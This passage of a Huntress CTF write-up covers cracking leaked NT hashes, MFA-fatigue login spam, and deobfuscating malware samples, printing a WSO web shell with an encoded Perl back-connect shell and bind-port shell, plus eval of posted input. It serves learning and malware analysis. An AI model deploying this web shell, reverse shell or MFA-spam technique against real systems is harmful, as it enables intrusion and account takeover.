FINWVIR1000002$:$NT$f78457a85e36946680ca97694b470bf8
AZRWSECS1000000$:$NT$db71218d19c3161ca5a7cd03add9f8cf
AWSWVIR1000000$:$NT$10dc52895aa6f5d6ed491a18b8b64907
ITSWWKS1000001$:$NT$acd51fe2dab7467ba83e5203afb4079b

We store the hashes in a file called “ntds_hashes.txt” and crack them with john.

1
2
3
4
$ john --wordlist=/usr/share/wordlists/rockyou.txt ntds_hashes.txt --format=NT
Using default input encoding: UTF-8
Loaded 42 password hashes with no different salts (NT [MD4 128/128 SSE2 4x3])
katlyn99         (JILLIAN_DOTSON)     

We go to the server and find out the domain by giving in the username “JILLIAN_DOTSON”.

mfa-domain

We login with the domain and username: “huntressctf\JILLIAN_DOTSON”.

mfa-password

We provide the password we cracked earlier and can now send a MFA request.

mfa-sendrequest

Granted that this challenge is called “MFAtigue” the goal is to continuously send MFA notifications to the account holder until that they, accidentily, approve the login attempt.

mfa-spam

After a bunch of attempts the user approves the login attempt and we get redirected to the flag page.

mfa-flag

Malware

PHP Stager

Ugh, we found PHP set up as an autorun to stage some other weird shady stuff. Can you unravel the payload?

We get a php file that has been obfuscated.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php  


 function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/

$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0";
$gbaylYLd6204 = "LmQ9AT8aND16c2AcMh0lCS9BDFtTATklDzAoARAJCkl**SHORTENED_BLOB_OF_TEXT**JBYqeGNzBBIUGCwuQAhAUnRNZyZFMA4qfGkBUBkbKj1UMRgqdFxEFj8mECoeMyVrAXAkA3QlBD1AC11oYR9hASYWGxcJXwB9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
   $fsPwhnfn8423 .= $lBuAnNeu5282[$k];
}
foreach([26,16,14,14,31,33] as $k){
   $oZjuNUpA325 .= $lBuAnNeu5282[$k];
}

/*aajypPZLxFoueiuYpHkwIQbmoSLrNBGmiaDTgcWLKRANAfJxGeoOIzIjLBHHsVEHKTrhqhmFqWgapWrPsuMYcbIZBcXQrjWWEGzoUgWsqUfgyHtbwEDdQxcJKxGTJqIe*/

$k = $oZjuNUpA325('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');
$c = $k("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));
$c();

/*TnaqRZZZJMyfalOgUHObXMPnnMIQvrNgBNUkiLwzwxlYWIDfMEsSyVVKkUfFBllcCgiYSrnTCcqLlZMXXuqDsYwbAVUpaZeRXtQGWQwhcAQrUknJCeHiFTpljQdRSGpz*/

We can run the loops one by one and echo out the result to see what the $c variable should contain.

loop1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  
 function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/

$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0";
$gbaylYLd6204 = "LmQ9AT8aND16c**HUGE_BLOB_OF_ENCODED_DATA_HERE**B9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([26,16,14,14,31,33] as $k){
   $oZjuNUpA325 .= $lBuAnNeu5282[$k];
   echo $oZjuNUpA325;
}
?>

loop2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  
 function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/

$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0";
$gbaylYLd6204 = "LmQ9AT8aND16c**HUGE_BLOB_OF_ENCODED_DATA_HERE**B9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
   $fsPwhnfn8423 .= $lBuAnNeu5282[$k];
   echo $fsPwhnfn8423;
}
?>

When we run these files, we get the output of the loops being base64 and strrev.

1
2
3
$ php loop1.php            
bbabasbasebase6base64base64_base64_dbase64_debase64_decbase64_decobase64_decodbase64_decode                                                                                           $ php loop2.php
sststrstrrstrrestrrev

We can now put together the function: $c = create_function("/*XAjqgQvv4067*/" . base64_decode(deGRi(base64_decode($gbaylYLd6204), "tVEwfwrN302")));

When can now create a php script that executes this function and outputs the result.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
 function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/

$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0";

$gbaylYLd6204 = "LmQ9AT8aND16c**HUGE_BLOB_OF_ENCODED_DATA_HERE**B9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";

$encodedFunction = function() {
    return "/*XAjqgQvv4067*/" . base64_decode(deGRi(base64_decode("LmQ9AT8aND16c**HUGE_BLOB_OF_ENCODED_DATA_HERE**B9A2t4"), "tVEwfwrN302"));
};

$c = function () use ($encodedFunction) {
    eval('?>' . $encodedFunction());
};

$result = $c();
echo $result;

We get get php code as result. It is again a huge file with 1515 lines of code, I omitted most of the non-relevant code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
/*XAjqgQvv4067*/global $auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;
global $cwd,$os,$safe_mode, $in;

$auth_pass = 'edbc761d111e1b86fb47681d9f641468';
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@define('WEBAPP_VERSION', '0.00');

if(get_magic_quotes_gpc()) {
        function WSOstripslashes($array) {
                return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
        }
        $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

...
...
...

function actionNetwork() {
        wsoHeader();
        $back_connect_p="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==";
        $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<h1>Network tools</h1><div class=content>
        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
        <span>Bind port to /bin/sh [perl]</span><br/>
        Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
        </form>
        <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
        <span>Back-connect  [perl]</span><br/>
        Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
        </form><br>";
        if(isset($_POST['p1'])) {
                function cf($f,$t) {
                        $w = @fopen($f,"w") or @function_exists('file_put_contents');
                        if($w){
                                @fwrite($w,@base64_decode($t));
                                @fclose($w);
                        }
                }
                if($_POST['p1'] == 'bpp') {
                        cf("/tmp/bp.pl",$bind_port_p);
                        $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
                        echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
                }
                if($_POST['p1'] == 'bcp') {
                        cf("/tmp/bc.pl",$back_connect_p);
                        $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
                        echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
                }
        }
        echo '</div>';
        wsoFooter();
}
function actionRC() {
        if(!@$_POST['p1']) {
                $a = array(
                        "uname" => php_uname(),
                        "php_version" => phpversion(),
                        "wso_version" => WSO_VERSION,
                        "safemode" => @ini_get('safe_mode')
                );
                echo serialize($a);
        } else {
                eval($_POST['p1']);
        }
}
if( empty($_POST['a']) )
        if(isset($default_action) && function_exists('action' . $default_action))
                $_POST['a'] = $default_action;
        else
                $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
        call_user_func('action' . $_POST['a']);
exit;      

We can see two base64 encoded values. When we decode $back_connect_p, we get a Perl script as the result.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
my $str = <<END;
begin 644 uuencode.uu
F9FQA9WLY8C5C-#,Q,V0Q,CDU.#,U-&)E-C(X-&9C9#8S9&0R-GT`
`
end
END
system('/bin/sh -i -c "echo ${string}; bash"');
close(STDIN);
close(STDOUT);
close(STDERR)

We see another encoded value now encoded via uuencode.uu. UUEncoding is an algorithm for converting binary data into ASCII text available by default on Unix/Linux operating systems. We can decode it with dcode.fr or with a Python script.

1
2
3
4
5
6
7
8
9
import binascii
encoded_string = "F9FQA9WLY8C5C-#,Q,V0Q,CDU.#,U-&)E-C(X-&9C9#8S9&0R-GT`"

# Decode the UUencoded string
decoded_bytes = binascii.a2b_uu(encoded_string)

# Convert bytes to string
decoded_text = decoded_bytes.decode('utf-8')
print("Decoded text:", decoded_text)

flag{9b5c4313d12958354be6284fcd63dd26}

Veebeeeee

While investigating a host, we found this strange file attached to a scheduled task. It was invoked with wscript or something… can you find a flag?

Snake eater

Hey Analyst, I’ve never seen an executable icon that looks like this. I don’t like things I’m not familiar with. Can you check it out and see what it’s doing?

We get a 7zip file that contains a file called “snake_eater.exe”. We can upload the file to virustotal, go to the “Behaviour” tab. In the “Activity Summary”, we can see the flag file being written to disk.

snake

An alternative solution, would be to run the file with procmon in a windows VM.

Opendir

A threat actor exposed an open directory on the public internet! We could explore their tools for some further intelligence. Can you find a flag they might be hiding?

We get a link to an open directory, which is an directory that is available to access via an URL, with a username and password. We can download the directory via wget and then search through to files with grep to find the hidden flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ wget --user opendir --password opendir --no-parent -r http://chal.ctf.games:30169/
$ cd chal.ctf.games:30169 
$ ls
def1.bat        hyp.bat     LOGOFALL1.bat  NG1.bat  NG3.bat    poshC2.bat    sir
dropper_cs.exe  index.html  LOGOFALL.bat   NG2.bat  ngrok.exe  RDPtoALL.bat  VmManagedSetup.exe        
$ grep -r "flag*"                                
grep: sir/hydra/hydra.exe: binary file matches
sir/LOGOFF.bat:  set flag=false
sir/LOGOFF.bat:  if "%username%" neq "!user!" (set flag=true) else (if "!status!" neq "Active" set flag=true)
sir/LOGOFF.bat:  if !flag!==true (logoff !ID!& Echo user=!user! ID=!ID! Status=!status! was log off.)
sir/64_bit_new/oui.txt:                         Chiefland FL 32626
sir/64_bit_new/oui.txt:44-4A-65   (hex)         Silverflare Ltd
sir/64_bit_new/oui.txt:444A65     (base 16)             Silverflare Ltd
sir/64_bit_new/oui.txt:00-0A-68   (hex)         Solarflare Communications Inc.
sir/64_bit_new/oui.txt:000A68     (base 16)             Solarflare Communications Inc.
sir/64_bit_new/oui.txt:                         Efland NC 27243
sir/64_bit_new/oui.txt:flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}
sir/64_bit_new/oui.txt:00-0F-53   (hex)         Solarflare Communications Inc.
sir/64_bit_new/oui.txt:000F53     (base 16)             Solarflare Communications Inc.

Batchfuscation

I was reading a report on past Trickbot malware, and I found this sample that looks a lot like their code! Can you make any sense of it?

We get an obfuscated batch file with 11209 lines. A sample looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@echo off
set bdevq=set
%bdevq% grfxdh= 
%bdevq%%grfxdh%mbbzmk==
%bdevq%%grfxdh%xeegh%mbbzmk%/
%bdevq%%grfxdh%jeuudks%mbbzmk%a
%bdevq%%grfxdh%rbiky%mbbzmk%c
%bdevq%%grfxdh%wzirk%mbbzmk%m
%bdevq%%grfxdh%naikpbo%mbbzmk%d
%bdevq%%grfxdh%ltevposie%mbbzmk%e
%bdevq%%grfxdh%uqcqswo%mbbzmk%x
%bdevq%%grfxdh%zvipzis%mbbzmk%i
%bdevq%%grfxdh%kquqjy%mbbzmk%t
%bdevq%%grfxdh%kmgnxdhqb%mbbzmk% 
%bdevq%%grfxdh%%xeegh%%jeuudks%%grfxdh%bpquuu%mbbzmk%4941956 %% 4941859
%rbiky%%wzirk%%naikpbo%%kmgnxdhqb%%xeegh%%rbiky%%kmgnxdhqb%%ltevposie%%uqcqswo%%zvipzis%%kquqjy%%kmgnxdhqb%%bpquuu%
%bdevq%%grfxdh%grtoy%mbbzmk%%=exitcodeAscii%
...

There are a few steps we need to take to deobfuscate this script.

Part 1 - Manual Deobfuscation

  • set bdevq=set so we replace all the %bdevq% with set.
  • Then we get a whole list of variables whom we can replace in the file
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
      set grfxdh= 
      set mbbzmk==
      set xeegh =/
      set jeuudks =a
      set rbiky =c
      set wzirk =m
      set naikpbo =d
      set ltevposie =e
      set uqcqswo =x
      set zvipzis =i
      set kquqjy =t
      set kmgnxdhqb = 
    
  • we now have another variable that we can calculate:
    1
    
      set /a bpquuu =4941956 %% 4941859
    
    1
    2
    3
    
      Python 3
      >>> 4941956 % 4941859
      97
    

There is a big part of the script still obfuscated, as it’s a lot to do manually so I wrote a python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@echo off
set bdevq=set
set grfxdh= 
set mbbzmk==
set xeegh =/
set jeuudks =a
set rbiky =c
set wzirk =m
set naikpbo =d
set ltevposie =e
set uqcqswo =x
set zvipzis =i
set kquqjy =t
set kmgnxdhqb = 
set /a bpquuu =4941956 %% 4941859
cmd /c exit %bpquuu%
set grtoy =%=exitcodeAscii%
set /a fqumc =9273642 %% 9273544
cmd /c exit %fqumc%
set kbhoesxh =%=exitcodeAscii%
set /a uhtsvvtj =9196704 %% 9196605
cmd /c exit %uhtsvvtj%
set fxflckau =%=exitcodeAscii%
set /a anbayva =2699100 %% 2699000
cmd /c exit %anbayva%
set pxesvvz =%=exitcodeAscii%
set /a sotjqqk =5163928 %% 5163827
cmd /c exit %sotjqqk%
set aeawgno =%=exitcodeAscii%
set /a kefdskui =8705496 %% 8705394
...
...
...
%jxiczrrc%em%qihgjzq%etd%jxiczrrc%t%giknplvpv%%qihgjzq%%rvrcd%t%rvrcd%%qihgjzq%ac%djkxbuskp%%rvrcd%%rvrcd%m%lhuzd%%mljmage%%upogfi%d%puufauef%%edefpb%m%vrzatob%c%exoypdqzg%%vdqvoyxss%%lhuzd%%upogfi%%mljmage%ex%dtqahrd%%qihgjzq%%znvbyce%%jxiczrrc%%fbvra%%cxqemy%de%qihgjzq%%fbvra%%jxiczrrc%%djkxbuskp%mx%mljmage%%giknplvpv%%fbvra%%znvbyce%cc%vdqvoyxss%mc%jxiczrrc%a%fbvra%%jxiczrrc%ii%dtqahrd%t%edefpb%%cxqemy%%xulqq%i%upogfi%%exoypdqzg%
%xpjaysvii%%xpjaysvii%%qihgjzq%et%xulqq%%xulqq%%djkxbuskp%%vdqvoyxss%%znvbyce%d%lhuzd%%jxiczrrc%c%kbhoesxh%e%cxqemy%%giknplvpv%%jxiczrrc%%rvrcd%xe%vdqvoyxss%%lhuzd%t%fbvra%%exoypdqzg%%cxqemy%%upogfi%ax%dtqahrd%%dtqahrd%%fbvra%%jxiczrrc%d%exoypdqzg%%upogfi%mmm%djkxbuskp%%kbhoesxh%%giknplvpv%%znvbyce%%qihgjzq%%vdqvoyxss%mmtx%cxqemy%i%giknplvpv%x%kbhoesxh%i%fbvra%%edefpb%%jxiczrrc%dt%vdqvoyxss%%vrzatob%acd%znvbyce%c%exoypdqzg%x%mljmage%%djkxbuskp%%vdqvoyxss%%puufauef%%jxiczrrc%%vdqvoyxss%%dtqahrd%%edefpb%%edefpb%%lhuzd%c%djkxbuskp%ci%cxqemy%%kbhoesxh%%fbvra%%dtqahrd%%jxiczrrc%%kbhoesxh%%djkxbuskp%%kbhoesxh%%kbhoesxh%%jxiczrrc%
%jxiczrrc%em%qihgjzq%eti%lhuzd%%dtqahrd%%giknplvpv%%mljmage%%kbhoesxh%ae%djkxbuskp%%lhuzd%m%xulqq%%jxiczrrc%%vrzatob%i%puufauef%m%znvbyce%%lhuzd%%rvrcd%

Part 2 - Automatic Deobfuscation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import re

# Regular expression patterns
set_a_lines_pattern = r'^set /a (\w+) =(\d+) %% (\d+)'
cmd_lines_pattern = r'^cmd /c exit (\d+)'
set_line_with_exit_code_pattern = r'^set (\w+) =%=exitcodeAscii%'

# Function to calculate the modulo and store in variables_list
def calculate_modulo(match):
    var_name, dividend, divisor = match.groups()
    result = int(dividend) % int(divisor)
    return var_name, result

# Initialize variables
variables_list = {}
prev_exit_code = 0

# Read the input file
with open('batchfuscation_part1', 'r') as input_file:
    lines = input_file.readlines()

# Process each line
for line in lines:
    set_a_match = re.match(set_a_lines_pattern, line)
    set_line_exit_code_match = re.match(set_line_with_exit_code_pattern, line)

    if set_a_match:
        var_name, result = calculate_modulo(set_a_match)
        variables_list[var_name] = result
        prev_exit_code = result
    if set_line_exit_code_match:
        var_name = set_line_exit_code_match.group(1)
        # Store the ASCII value 
        variables_list[var_name] = chr(prev_exit_code)

# Loop over every line and replace "% + variablename + %" with the value stored in the list
modified_lines = []
for line in lines:
    for var_name, result in variables_list.items():
        line = re.sub(fr'%{var_name}%', str(result), line)
    if "set /a" in line:
        # Extract the variable name from the line
        var_name = re.search(r'^set /a (\w+)', line).group(1)
        if var_name in variables_list:
            # Replace the line with the new value
            line = f'set /a {var_name} = {variables_list[var_name]}\n'
    if "exitcodeAscii" in line:
        # Extract the variable name from the line
        var_name = re.search(r'^set (\w+) =%=exitcodeAscii%', line).group(1)
        if var_name in variables_list:
            # Replace the line with the new value
            line = f'set {var_name} = {variables_list[var_name]}\n'
    modified_lines.append(line)

print(f"{variables_list.items()}")

# Part 3 - Loop over the result and add spaces behind rem and set commands
final_modified_lines = []
for line in modified_lines:
    if line.startswith("rem ") or line.startswith("set "):
        line = line + ' '
    final_modified_lines.append(line)

# Part 4 - Extract the Flag
flag_character_pattern = r'^::setflag_character(\d+)=(\S)'
flag_characters={}
# Extract flag lines from final_modified_lines
flag_lines = [line for line in final_modified_lines if re.match(flag_character_pattern, line)]
print(flag_lines)
# Build the flag from flag_characters
# Extract character positions from the array and populate the dictionary
for lines in flag_lines:
    parts = lines.split('=')
    position = int(parts[0].split('_')[1].replace("character","")) # strip out the char position and remove "character" string
    character = parts[1].strip()
    flag_characters[position] = character

# Build the flag by sorting the dictionary by keys and joining the characters
flag = ''.join(flag_characters[i] for i in sorted(flag_characters.keys()))
print(flag)
# Write the final modified content to a new file
with open('batchfuscation_part2', 'w') as output_file:
    output_file.writelines(modified_lines)

Script process:

  1. It reads an our manual deobfuscated file
  2. It identifies and calculates modulo operations for lines that match the set /apattern, storing the results in a dictionary called variables_list.
  3. It also handles lines that set variables based on the exit code.
  4. The script replaces variable references (e.g., %variablename%) with their corresponding values.
  5. It appends spaces after lines starting with rem or set.
  6. The script extracts the commented flag lines and prints out the flag.
    1
    
     ::setflag_character5={
    
  7. It also writes the modified content to a new file named batchfuscation_part2.

    1
    2
    
     $ python3 deobfuscate.py
     Flag: flag{acad67e3d0b5bf31ac6639360db9d19a}
    

Rat

I was arguing with a co-worker on whether or not it is “Remote Access Tool” or “Remote Access Trojan”, and he didn’t agree with me, so I sent him this shady file ;)

We get a zip file that contains a file called “rat”.

When we upload it to virustotal, under the “behaviour” tab we can find the flag located under “Memory Pattern Urls”.

rat

Spreakfriend

It seems like this website was compromised. We found this file that seems to be related… can you make any sense of these and uncover a flag?

NOTE:

  • Archive password is infected
  • You will need access this service with HTTPS. Please use https:// as the URL schema rather than plain http://.
  • This website uses a self-signed certificate. The “Warning: connection not secure” message is expected and intended. You can continue on to the website.
  • This challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abundance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

We get access to the compromised website.

speakfriend-homepage

We also get a file called main, which is an ELF file.

1
2
$ file main 
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f020f8b12bc1a0b0f3122413b698344bfbfd1d9d, for GNU/Linux 3.2.0, not stripped

An ELF (Executable and Linkable Format) file is a common file format used for executables, object code, shared libraries, and even core dumps on Unix and Unix-like operating systems.

When running strings on this file, we notice the presence of glibc and libcurl which suggests that the binary is related to network communication, and it may involve making HTTP requests.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\flare\Documents\CTF\Huntress\speakfriend> strings main
ELF
/lib64/ld-linux-x86-64.so.2
GNU
GNU
GNU
libcurl-gnutls.so.4
...
...
...
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
_curl_easy_setopt_err_curl_httpost
_curl_easy_setopt_err_curl_mimepost
_curl_easy_setopt_err_curl_slist
_curl_easy_setopt_err_CURLSH
...
...
...

We can load the main file in a disassambler. “BinaryNinja” seems to work best for this sample, as with “GHidra” we are lacking a bit of information.

speakfriend-binaryninja

We can see a line that contains the user-agent used when making the curl calls.

1
__builtin_strncpy(dest: &var_1c8, src: "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e", n: 0x31)

We can use this user-agent to make a request to the compromised website. However, because this website employs a self-signed SSL certificate, we must bypass SSL certificate verification using the -k parameter in curl or the -SkipCertificateCheck parameter in PowerShell (only available in versions >=7.0) to establish a connection without certificate validation. Bypassing SSL certificate verification is necessary for self-signed certificates because these certificates are not issued or verified by a trusted Certificate Authority (CA), so standard SSL certificate validation would fail, blocking the connection

Curl

1
2
3
┌──(kali㉿kali)-[~/ctf/huntressctf/speakfriend]
└─$ curl -L -k https://chal.ctf.games:30300/ --user-agent "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e"
flag{3f2567475c6def39501bab2865aeba60}

Powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\Users\flare> Invoke-WebRequest -Uri "https://chal.ctf.games:30300" -UserAgent "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -SkipCertificateCheck

StatusCode        : 200
StatusDescription : OK
Content           : flag{3f2567475c6def39501bab2865aeba60}

RawContent        : HTTP/1.1 200 OK
                    Server: gunicorn
                    Date: Thu, 26 Oct 2023 08:10:36 GMT
                    Connection: keep-alive
                    Access-Control-Allow-Origin: *
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 39

                    flag{3f256
Headers           : {[Server, System.String[]], [Date, System.String[]], [Connection, System.String[]],
                    [Access-Control-Allow-Origin, System.String[]]}
Images            : {}
InputFields       : {}
Links             : {}
RawContentLength  : 39
RelationLink      : {}

BlackCat

